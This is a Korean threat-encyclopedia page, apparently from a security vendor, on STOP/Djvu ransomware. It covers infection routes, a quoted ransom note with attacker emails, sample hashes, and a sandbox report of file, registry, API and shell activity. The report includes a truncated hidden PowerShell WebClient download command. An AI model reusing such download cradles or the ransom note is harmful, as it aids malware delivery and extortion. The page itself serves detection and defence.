Djvu 랜섬웨어 중지

STOP Djvu Ransomware 제품군이라고도 불리는 STOP Ransomware 제품군은 위협적인 맬웨어입니다. STOP Djvu는 파일 유형에 영향을 미치고 파일 확장자를 암호화하는 방법 중 일부가 다르지만 공통 특성을 공유하고 STOP 랜섬웨어에서 비롯된 여러 위협 중 하나 일뿐입니다.

최초의 STOP 랜섬웨어 는 빠르면 2018 년 2 월에 보안 연구원들에 의해 발견되었습니다. 그러나 그 이후로 진화했으며 클론 및 파생물 군이 성장했습니다. STOP 랜섬웨어의 주요 배포 방법은 손상된 첨부 파일을 사용한 스팸 이메일 캠페인이었습니다.

STOP Djvu 랜섬웨어는 다른 종류의 랜섬웨어 위협과 유사한 방식으로 작동하여 사용자가 시스템에서 사용할 수있는 주요 파일에 대한 액세스를 암호화하고 차단합니다. 개인 파일, 사진, 문서 등을 암호화 할 수 있으며 컴퓨터의 모든 사용자에 대해 기본적으로 비활성화 할 수 있습니다. STOP Djvu Ransomware는 2018 년 12 월 온라인에서 꽤 성공적인 감염 캠페인으로 보이는 곳에서 처음 발견되었습니다. 연구원들은 랜섬웨어가 확산되는 방식을 알지 못했지만 나중에 피해자들은 키겐이나 크랙을 다운로드 한 후 감염을 발견했다고보고했습니다. 침입이 발생하면 STOP Djvu 랜섬웨어는 Windows 설정을 변경하여 .djvu, .djvus, .djvuu, .uudjvu, .udjvu 또는 .djvuq 및 최근 .promorad 및 .promock 확장자와 같은 다양한 이름으로 파일을 추가합니다. 최신 버전에는 아직 해독기가 없지만 이전 버전은 STOPDecrypter를 사용하여 해독 할 수 있습니다. 사용자는 무슨 일이 있어도 몸값을 지불하지 않는 것이 좋습니다.

파일에 대한 액세스를 차단하는 데 사용되는 방법은 RSA 암호화 알고리즘을 사용합니다. 경험이없는 사용자에게는 파일의 암호 해독이 어려워 보일 수 있지만 위협 뒤에있는 사람들에게 비용을 지불하기 위해 노력할 필요는 없습니다. 이러한 상황에서는 일반적으로 허위 약속이 주어 지므로 사용자는 결제가 이루어지면 무시된다는 것을 금방 알 수 있습니다.

STOP Djvu 랜섬웨어의 공격은 2018 년 말에 처음보고되었습니다. STOP Djvu의 주요 배포 방법은 스팸 이메일로 남아 있고 랜섬웨어의 핵심에 대한 조정은 상대적으로 미미했습니다. 스팸 이메일에 사용 된 가짜, 손상된 첨부 파일의 대부분은 피해자 모르게 랜섬웨어를 실행할 수있는 매크로 사용 오피스 문서 또는 가짜 PDF 파일이었습니다. STOP Djvu의 동작도 많이 변경되지 않았습니다. 랜섬웨어는 여전히 백업을 제거하기 위해 모든 Shadow Volume 스냅 샷을 삭제 한 다음 피해자의 파일을 암호화하기 시작합니다.

피해자의 바탕 화면에 '_openme.txt'로 저장되는 랜섬 노트가 약간 변경되었습니다. 몸값 메모의 텍스트는 여기에서 찾을 수 있습니다.

'[랜섬 노트 시작]
———————— 모든 파일이 암호화 됨 ————————

걱정하지 마세요. 모든 파일을 반환 할 수 있습니다!
모든 파일 문서, 사진, 데이터베이스 및 기타 중요한 사항은 가장 강력한 암호화 및 고유 키로 암호화됩니다.
파일을 복구하는 유일한 방법은 해독 도구와 고유 키를 구입하는 것입니다.
이 소프트웨어는 암호화 된 모든 파일을 해독합니다.
우리는 당신에게 어떤 보증을 제공합니까?
암호화 된 파일 중 하나를 PC에서 보내면 무료로 해독 할 수 있습니다.
하지만 무료로 1 개의 파일 만 해독 할 수 있습니다. 파일에는 중요한 정보가 포함되어서는 안됩니다.
파일을 파괴 할 수 있으므로 타사 암호 해독 도구를 사용하지 마십시오.
처음 72 시간 동안 연락하시면 50 % 할인을 받으실 수 있습니다.

——————————————————————————————————-

이 소프트웨어를 받으려면 다음 이메일에 편지를 써야합니다.
helpshadow@india.com

저희에게 연락 할 이메일 주소를 예약하십시오 :
helpshadow@firemail.cc

귀하의 개인 ID : [문자열]
[랜섬 노트 종료] '

랜섬웨어는 원래 .djvu 확장자를 사용하여 암호화 된 파일의 이름을 변경하는 것으로 제한되었는데, 이는 .djvu가 실제로 AT & T 연구소에서 개발하고 Adobe의 .pdf와 다소 유사한 스캔 된 문서를 저장하는 데 사용되는 합법적 인 파일 형식이기 때문에 흥미로운 선택이었습니다. 이후 버전의 랜섬웨어는 '.chech,' '.luceq,' '.kroput1,' '.charck,' '.kropun,'.luces, ''.pulsar1, '등 암호화 된 파일에 대해 일련의 다른 확장자를 채택했습니다. ''.uudjvu, ''.djvur, ''.tfude, ''.tfudeq '및'.tfudet '.

STOP Djvu 랜섬웨어의 특정 변종은 보안 연구원 Michael Gillespie가 개발 한 소위 'STOPDecrypter'를 사용하여 무료로 해독 할 수 있으며 온라인에서 무료로 다운로드 할 수 있습니다.

목차

Toggle

Djvu 랜섬웨어 중지 비디오

팁 : ON 사운드를 켜고 전체 화면 모드에서 비디오를 볼.

Djvu 랜섬웨어 중지 스크린샷

분석 보고서

일반 정보

성씨:	STOP/DJVU Ransomware
서명 상태:	No Signature

알려진 샘플

i

알려진 샘플

이 섹션에는 이 가족과 연관된 것으로 추정되는 다른 파일 샘플이 나열되어 있습니다.

MD5: def8a7bfe5fe47d95a95085d8dbc7a53 샤1: 7182d4b2f55a560d83edf0824e119f71fa8422b6 샤256: B83855EA63E7F28396099A5B6E877BE537E78E4A50DF720262461A1D13B02192 파일 크기: 6.29 MB,6292105 바이트

MD5: a6b8c0cb178c31dd347554c3e5a0d5f8 샤1: 91864f269d696ee80869cfeb3c9a204f8031a3bb 샤256: 4FFB8E9ADF508662B5E51CBEC75B2E07CE1CBBFAAB873F72EDC7BAC385421E2C 파일 크기: 3.47 MB,3471869 바이트

MD5: 2336c9624d9a44c393d354206226f508 샤1: ea7edc388ad62990f52b9ed40df26d20f4e20190 샤256: CE48ED04C92143B7E91F9665DD9337B2EE0B9CC1B5AEE534D26C09E084F8ABB0 파일 크기: 1.36 MB,1359918 바이트

MD5: 42f32aa699bc45a3638ddeb325ebebc1 샤1: 508cea3ba2bf04cc6851295f92bf0e752071f6b8 샤256: 16532B38591B713395C288B11610494BCC4C4537BE492D43C54D66FEB7B95FA4 파일 크기: 1.33 MB,1328186 바이트

MD5: 2391d41548b6432191f73edefa273928 샤1: 620b714f84955aa7fb9a2f2cd528daa1621e18af 샤256: 4D1EFAA3477B0B8D84025F3F0109E97ABA7CEB37F174B9DC79B7966CBB430959 파일 크기: 3.36 MB,3357556 바이트

더 보기

MD5: 710c3a1beb616d4aa7d5ed9a7f8848e4 샤1: 326da9ddc0ea840e83f31fbf1f3377a06c911fe5 샤256: 051DAB5E5247E25D6EB059A574383FB1EC99A5A4AAF9AA3694240FE25FA260AB 파일 크기: 1.36 MB,1364106 바이트

MD5: 601b120a6f39f72847b2f581a3d5f158 샤1: 0cc5781c1cfe6c5d034bd098229773e80e083732 샤256: BEC2BFF460615A35D4EA35BF25E9F89337E35E73441A4AC07562CE8E89BED818 파일 크기: 4.86 MB,4858569 바이트

MD5: a7b76a49f289081961f8f3824f0b62ca 샤1: 6908790199785be7fc6c4eeb1fe426ee1b66cc0b 샤256: 1A721E054386833AEBBF94C75871143376897E92C4A48278DDE95E6987634F45 파일 크기: 1.41 MB,1406899 바이트

MD5: 9f37930d62a1e08f68aa0a72472e7a55 샤1: 27706b3ff639e5dfa264a823dbe9229cf34ae153 샤256: 29039902EEA4EE24C4C6368AA9B1D7F86BEC65ADA3ABDB0B92C1FEF311ACD31F 파일 크기: 600.12 KB,600124 바이트

MD5: 7a18839fe61e9cde0e8fea3100acfb2b 샤1: 9476c97a73e027016e9f6f2f20c2fb19264cd837 샤256: 0271095F0AD5C6F26C9738ED5636E751B8868C1AE3B08D5D8C5218121D9FEEAF 파일 크기: 316.83 KB,316832 바이트

MD5: fe17d0f940a226e80cc18b4399da4ffc 샤1: cc1bd23b0c7ff5da8ff996717b3969b7ebb9c67b 샤256: D869A00DFA1BE0DF6D08BB72B790894D1861834D5E350F5DD54A70C3711BA713 파일 크기: 1.36 MB,1363661 바이트

MD5: ed83bea5600457af815495b10f235b87 샤1: 14ac62ce3ae6b19186544e46ad7710d1814e3a9c 샤256: FC0AE843E31F77574448FF343F0E92A9F1953B43DC2495FFE2CA5F7F8E777401 파일 크기: 9.59 MB,9590154 바이트

MD5: 8cc4ef6bfd98074474e53cefc0029d0a 샤1: 7604b8cd9736a016748a1d2d1fe3eb9ec9db1bc9 샤256: 72BE2A65C8E36058A40FB1EF582E944721F5D041044F454509242E00E6745198 파일 크기: 1.41 MB,1407173 바이트

MD5: 75e7ec1010908f6cf964ee32c9d57fed 샤1: 7cccec52318eadb6771ceef6404e19fc46ec8d07 샤256: A309D56010D51F07741773ABCC44C767EF99C1031DEFA575F07D11DD11F09E35 파일 크기: 2.44 MB,2442353 바이트

Windows 휴대용 실행 파일 속성

i

Windows 휴대용 실행 파일 속성

이 섹션에서는 해당 패밀리 샘플에서 발견된 파일 속성을 나열합니다. 이러한 속성은 파일의 Windows PE(Portable Executable) 사양 및 다양한 시스템 플래그에서 추출됩니다. 휴대용 실행 파일 속성은 악성코드 연구원에게 파일의 기능, 실행 세부 정보, 플랫폼 및 런타임 환경에 대한 정보를 제공합니다.

• File doesn't have "Rich" header
• File doesn't have debug information
• File doesn't have exports table
• File doesn't have relocations information
• File doesn't have security information
• File has exports table
• File has TLS information
• File is 32-bit executable
• File is 64-bit executable
• File is either console or GUI application

더 보기

• File is GUI application (IMAGE_SUBSYSTEM_WINDOWS_GUI)
• File is Native application (NOT .NET application)
• File is not packed
• IMAGE_FILE_DLL is not set inside PE header (Executable)
• IMAGE_FILE_EXECUTABLE_IMAGE is set inside PE header (Executable Image)

파일 아이콘

i

파일 아이콘

이 섹션에는 패밀리 샘플에서 발견된 아이콘 리소스가 표시됩니다. 악성 프로그램은 종종 정식 소프트웨어와 관련된 아이콘을 복제하여 사용자가 악성 프로그램이 안전하다고 착각하도록 만듭니다.

Windows PE 버전 정보

i

Windows PE 버전 정보

이 섹션에서는 이 제품군에 속하는 샘플에 대해 Windows 파일 버전 정보 데이터 구조에 설정된 값과 속성을 표시합니다. 악성코드 공격자는 사용자를 속이기 위해 종종 정품 소프트웨어를 모방한 가짜 버전 정보를 추가합니다.

이름	값
Assembly Version	1.4.1.0
Comments	This installation was built with Inno Setup.
Company Name	Alexander Roshal Microsoft TrayToolbar win.rar GmbH WinTools Software Engineering, Ltd.
File Description	Archiwizer WinRAR Gestione archivi WinRAR RAM Saver Professional TrayToolbar WinRAR 5.60 64 Bit Setup WinRAR archiver WinRAR Installer
File Version	26.3.1 26.2.1 26.0.1 25.7.1 25.6.1 25.4.1 7.21.0.0 6.20.2 6.2.0 1.4.1.0 더 보기 1.3.0.0 1.00
Internal Name	TJprojMain TrayToolbar.dll Win WinRAR winrar-7.21-setup
Legal Copyright	Copyright © 1993-2026 Александр Рошал Copyright © Alexander Roshal 1993-2021 Copyright © Alexander Roshal 1993-2022 Copyright © Alexander Roshal 1993-2025 © Brontech, LLC
Original Filename	TJprojMain.exe TrayToolbar.dll Win.exe winrar-7.21-setup.exe WinRAR.exe
Product Name	Project1 RAM Saver 25.4.1 Professional RAM Saver 25.6.1 Professional RAM Saver 25.7.1 Professional RAM Saver 26.0.1 Professional RAM Saver 26.2.1 Professional RAM Saver 26.3.1 Professional TrayToolbar Win WinRAR 더 보기 WinRAR 5.60 64 Bit WinRAR Installer
Product Version	26.3.1 26.2.1 26.0.1 25.7.1 25.6.1 25.4.1 7.21 6.20.2 6.2.0 5.60 더 보기 1.4.1+80dec33e25323db7125ddec35b475aa881292801 1.4.0 1.00

디지털 서명

i

디지털 서명

이 섹션에서는 해당 악성코드 계열에 속하는 샘플에 첨부된 디지털 서명을 나열합니다. 디지털 서명을 분석하고 검증할 때는 서명의 루트 기관이 잘 알려져 있고 신뢰할 수 있는 기관인지, 그리고 서명의 상태가 유효한지 확인하는 것이 중요합니다. 악성코드는 종종 신뢰할 수 없는 "자체 서명" 디지털 서명(악성코드 제작자가 검증 없이 쉽게 생성할 수 있음)으로 서명됩니다. 또한 악성코드는 유효하지 않은 상태의 합법적인 서명이나, 가짜 또는 오해의 소지가 있는 "서명자" 이름을 사용하는 의심스러운 루트 기관의 서명으로 서명될 수도 있습니다.

서명자	뿌리	상태
win.rar GmbH	DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1	Self Signed
win.rar GmbH	GlobalSign CodeSigning CA - SHA256 - G3	Hash Mismatch

파일 특성

• .NET
• 2+ executable sections
• big overlay
• fptable
• HighEntropy
• Inno
• InnoSetup Installer
• Installer Manifest
• Installer Version
• MZ (In Overlay)

더 보기

• No Version Info
• Nullsoft Installer
• RAR (In Overlay)
• RARinO
• Run
• SusSec
• vb6
• WinRAR SFX
• WRARSFX
• x64
• x86

수정된 파일

i

수정된 파일

이 섹션에는 이 계열의 샘플들이 생성, 수정, 이동 및/또는 삭제한 파일 목록이 나와 있습니다. 파일 시스템 활동은 악성코드가 운영체제에서 어떻게 작동하는지에 대한 중요한 정보를 제공할 수 있습니다.

파일	속성
\device\namedpipe	Generic Read,Write Attributes
\device\namedpipe	Generic Write,Read Attributes
\device\namedpipe\gmdasllogger	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\is-13e8d.tmp\508cea3ba2bf04cc6851295f92bf0e752071f6b8_0001328186.tmp	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\is-2buvv.tmp\_isetup\_setup64.tmp	Generic Read,Write Data,Write Attributes,Write extended,Append data
c:\users\user\appdata\local\temp\is-88uan.tmp\ea7edc388ad62990f52b9ed40df26d20f4e20190_0001359918.tmp	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\is-8gkji.tmp\0cc5781c1cfe6c5d034bd098229773e80e083732_0004858569.tmp	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\is-af9e7.tmp\_isetup\_setup64.tmp	Generic Read,Write Data,Write Attributes,Write extended,Append data
c:\users\user\appdata\local\temp\is-bfiig.tmp\_isetup\_setup64.tmp	Generic Read,Write Data,Write Attributes,Write extended,Append data
c:\users\user\appdata\local\temp\is-dlucn.tmp\7604b8cd9736a016748a1d2d1fe3eb9ec9db1bc9_0001407173.tmp	Generic Write,Read Attributes

더 보기

c:\users\user\appdata\local\temp\is-du263.tmp\326da9ddc0ea840e83f31fbf1f3377a06c911fe5_0001364106.tmp	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\is-i0kj9.tmp\6908790199785be7fc6c4eeb1fe426ee1b66cc0b_0001406899.tmp	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\is-jos42.tmp\_isetup\_setup64.tmp	Generic Read,Write Data,Write Attributes,Write extended,Append data
c:\users\user\appdata\local\temp\is-l4opd.tmp\cc1bd23b0c7ff5da8ff996717b3969b7ebb9c67b_0001363661.tmp	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\is-pk5hm.tmp\_isetup\_setup64.tmp	Generic Read,Write Data,Write Attributes,Write extended,Append data
c:\users\user\appdata\local\temp\is-r9udb.tmp\_isetup\_setup64.tmp	Generic Read,Write Data,Write Attributes,Write extended,Append data
c:\users\user\appdata\local\temp\is-shkd6.tmp\_isetup\_setup64.tmp	Generic Read,Write Data,Write Attributes,Write extended,Append data
c:\users\user\appdata\local\temp\nshfa46.tmp\chip.bmp	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\nshfa46.tmp\header.bmp	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\nshfa46.tmp\nsdialogs.dll	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\nshfa46.tmp\screenshot.bmp	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\nshfa46.tmp\system.dll	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\nshfa46.tmp\winrar-x64-721b1ru.exe	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\nshfa46.tmp\yandex.bmp	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\nshfa46.tmp\yandexbrowsersetup.exe	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\nsrfa35.tmp	Generic Read,Write Data,Write Attributes,Write extended,Append data,Delete
c:\users\user\appdata\local\temp\nsva331.tmp\banner.dll	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\nsva331.tmp\nsexec.dll	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\nsva331.tmp\system.dll	Generic Write,Read Attributes

레지스트리 수정

i

레지스트리 수정

이 섹션에서는 이 계열의 샘플이 생성, 수정 및/또는 삭제한 레지스트리 키와 값을 나열합니다. Windows 레지스트리 활동은 맬웨어의 기능에 대한 귀중한 정보를 제공할 수 있습니다. 또한 맬웨어는 초기 감염 후 시스템이 손상된 상태에서 자동으로 시작되어 무기한으로 지속될 수 있도록 레지스트리 값을 생성하는 경우가 많습니다.

키::값	데이터	API 이름
HKLM\software\microsoft\windows nt\currentversion\notifications\data::418a073aa3bc1c75	wk �8�jg�B �� �6 �v�� 7� �� �� ۀ ���T�B���������% ��3bBx�< ���! #�� $kF $��%`�%� &� &�-'�! (�(X�(� ) ; )E )�`*J*9 *�" ,=�-!R0P% 1`1�1HO5,]5�G>��@V�@�* A��B B��E�mF	RegNtPreCreateKey
HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\conhost.exe	졷鑂셱ǜ	RegNtPreCreateKey

Windows API 사용법

i

Windows API 사용법

이 섹션에서는 이 제품군의 샘플에서 사용되는 Windows API 호출 목록을 제공합니다. Windows API 사용 분석은 키로깅, 보안 권한 상승, 데이터 암호화, 데이터 유출, 바이러스 백신 소프트웨어 방해, 네트워크 요청 조작과 같은 악의적인 활동을 식별하는 데 유용한 도구입니다.

범주	API
Other Suspicious	SetWindowsHookEx
Anti Debug	IsDebuggerPresent OutputDebugString
User Data Access	GetUserDefaultLocaleName GetUserObjectInformation
Process Manipulation Evasion	NtUnmapViewOfSection ZwMapViewOfSection
Process Shell Execute	CreateProcess
Keyboard Access	GetKeyState
Syscall Use	ntdll.dll!NtAccessCheck ntdll.dll!NtAlertThreadByThreadId ntdll.dll!NtAlpcConnectPortEx ntdll.dll!NtAlpcCreateSecurityContext ntdll.dll!NtAlpcDeleteSecurityContext ntdll.dll!NtAlpcQueryInformation ntdll.dll!NtAlpcSendWaitReceivePort ntdll.dll!NtApphelpCacheControl ntdll.dll!NtClearEvent ntdll.dll!NtClose 더 보기 ntdll.dll!NtConnectPort ntdll.dll!NtCreateEvent ntdll.dll!NtCreateMutant ntdll.dll!NtCreateSection ntdll.dll!NtCreateSemaphore ntdll.dll!NtCreateThreadEx ntdll.dll!NtDuplicateObject ntdll.dll!NtDuplicateToken ntdll.dll!NtEnumerateValueKey ntdll.dll!NtFreeVirtualMemory ntdll.dll!NtMapViewOfSection ntdll.dll!NtNotifyChangeKey ntdll.dll!NtOpenDirectoryObject ntdll.dll!NtOpenEvent ntdll.dll!NtOpenFile ntdll.dll!NtOpenKey ntdll.dll!NtOpenKeyEx ntdll.dll!NtOpenProcessToken ntdll.dll!NtOpenProcessTokenEx ntdll.dll!NtOpenSection ntdll.dll!NtOpenSemaphore ntdll.dll!NtOpenThreadToken ntdll.dll!NtOpenThreadTokenEx ntdll.dll!NtProtectVirtualMemory ntdll.dll!NtQueryAttributesFile ntdll.dll!NtQueryFullAttributesFile ntdll.dll!NtQueryInformationFile ntdll.dll!NtQueryInformationProcess ntdll.dll!NtQueryInformationThread ntdll.dll!NtQueryInformationToken ntdll.dll!NtQueryKey ntdll.dll!NtQueryLicenseValue ntdll.dll!NtQueryPerformanceCounter ntdll.dll!NtQuerySecurityAttributesToken ntdll.dll!NtQuerySecurityObject ntdll.dll!NtQuerySystemInformation ntdll.dll!NtQuerySystemInformationEx ntdll.dll!NtQueryValueKey ntdll.dll!NtQueryVirtualMemory ntdll.dll!NtQueryVolumeInformationFile ntdll.dll!NtQueryWnfStateData ntdll.dll!NtReleaseMutant ntdll.dll!NtReleaseSemaphore ntdll.dll!NtReleaseWorkerFactoryWorker ntdll.dll!NtRequestWaitReplyPort ntdll.dll!NtResumeThread ntdll.dll!NtSetEvent ntdll.dll!NtSetInformationKey ntdll.dll!NtSetInformationProcess ntdll.dll!NtSetInformationThread ntdll.dll!NtSetInformationVirtualMemory ntdll.dll!NtSetInformationWorkerFactory ntdll.dll!NtSetTimer2 ntdll.dll!NtSubscribeWnfStateChange ntdll.dll!NtTestAlert ntdll.dll!NtTraceControl ntdll.dll!NtUnmapViewOfSection ntdll.dll!NtUnmapViewOfSectionEx ntdll.dll!NtWaitForAlertByThreadId ntdll.dll!NtWaitForMultipleObjects ntdll.dll!NtWaitForSingleObject ntdll.dll!NtWaitForWorkViaWorkerFactory ntdll.dll!NtWaitLowEventPair ntdll.dll!NtWorkerFactoryWorkerReady ntdll.dll!NtWriteFile UNKNOWN
Encryption Used	BCryptOpenAlgorithmProvider

셸 명령 실행

i

셸 명령 실행

이 섹션에서는 이 제품군에 속하는 샘플에서 실행되는 Windows 셸 명령을 나열합니다. Windows 셸 명령은 악성코드가 악의적인 목적으로 자주 악용하며, 보안 권한 상승, 다른 악성코드 다운로드 및 실행, 취약점 악용, 데이터 수집 및 유출, 악성 활동 은폐 등에 사용될 수 있습니다.

"C:\Users\Lehsoaco\AppData\Local\Temp\is-88UAN.tmp\ea7edc388ad62990f52b9ed40df26d20f4e20190_0001359918.tmp" /SL5="$5036E,928289,131584,c:\users\user\downloads\ea7edc388ad62990f52b9ed40df26d20f4e20190_0001359918"

"C:\Users\Dfhrhqtz\AppData\Local\Temp\is-13E8D.tmp\508cea3ba2bf04cc6851295f92bf0e752071f6b8_0001328186.tmp" /SL5="$802E8,896816,131584,c:\users\user\downloads\508cea3ba2bf04cc6851295f92bf0e752071f6b8_0001328186"

"C:\Users\Eberzneu\AppData\Local\Temp\is-DU263.tmp\326da9ddc0ea840e83f31fbf1f3377a06c911fe5_0001364106.tmp" /SL5="$30364,932379,131584,c:\users\user\downloads\326da9ddc0ea840e83f31fbf1f3377a06c911fe5_0001364106"

"C:\Users\Qxnqehmu\AppData\Local\Temp\is-8GKJI.tmp\0cc5781c1cfe6c5d034bd098229773e80e083732_0004858569.tmp" /SL5="$402E8,3435751,309760,c:\users\user\downloads\0cc5781c1cfe6c5d034bd098229773e80e083732_0004858569"

"C:\Users\Qlwpcgcn\AppData\Local\Temp\is-I0KJ9.tmp\6908790199785be7fc6c4eeb1fe426ee1b66cc0b_0001406899.tmp" /SL5="$30336,975597,131584,c:\users\user\downloads\6908790199785be7fc6c4eeb1fe426ee1b66cc0b_0001406899"

더 보기

powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command "try { $WebClient = New-Object System.Net.WebClient

"C:\Users\Czxnhiuo\AppData\Local\Temp\is-L4OPD.tmp\cc1bd23b0c7ff5da8ff996717b3969b7ebb9c67b_0001363661.tmp" /SL5="$40356,931898,131584,c:\users\user\downloads\cc1bd23b0c7ff5da8ff996717b3969b7ebb9c67b_0001363661"

"C:\Users\Rziyzfeg\AppData\Local\Temp\is-DLUCN.tmp\7604b8cd9736a016748a1d2d1fe3eb9ec9db1bc9_0001407173.tmp" /SL5="$1C02AC,975756,131584,c:\users\user\downloads\7604b8cd9736a016748a1d2d1fe3eb9ec9db1bc9_0001407173"